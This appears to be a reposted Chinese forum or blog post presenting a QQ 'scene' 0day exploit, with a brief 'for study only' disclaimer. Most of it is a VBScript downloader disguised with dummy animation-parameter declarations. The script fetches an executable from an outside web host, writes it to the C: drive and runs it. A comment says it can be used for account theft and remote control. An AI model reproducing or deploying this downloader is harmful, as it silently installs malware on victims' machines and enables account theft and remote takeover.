QQ场景漏洞Oday利用（下载并运行程序）

本来想睡醒写的，丫的给雪弟捷足了。。哈哈就转载他的了。。

注意：本文涉及的内容具有危险性，仅供学习研究 

来源：www.9198cn.cn （思深翔雪）

—————————— 下载者功能 ——————————
’以下可以用来盗号、远程控制
'动画参数
Dim g_bLoop(0)
Dim g_nMaxTime(0)
Dim g_nImageFrameCount(0, 0)
Dim g_bFrameImageAnimate(0, 0, 0)
Dim g_nFrameImageTime(0, 0, 0)
Dim g_nFrameImageLeft(0, 0, 0)
Dim g_nFrameImageTop(0, 0, 0)
Dim g_bFrameImageVisible(0, 0, 0)
Dim g_bFrameImageVertAlign(0, 0)
Dim g_bFrameImageHoriAlign(0, 0)
Dim g_nFrameImageVert(0, 0, 0)
Dim g_nFrameImageHori(0, 0, 0)
Dim g_nFrameImageWidth(0, 0)
Dim g_nFrameImageHeight(0, 0)
Dim g_nActionAnimationInterval(0)

Dim g_nCurAction
Dim g_nCurTime
Dim g_bRecall
Dim g_nCurWinWidth
Dim g_nCurWinHeight
Dim g_nInitWinWidth
Dim g_nInitWinHeight
Dim g_bCurVisible
Dim g_nCurLeft
Dim g_nCurTop

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.9198cn.cn/***.exe",0   '下载指定文件

Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open() 
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:/***.exe",2 '保存文件目录
wscript.sleep 1000 
Shell.Run ("c:/***.exe") '运行文件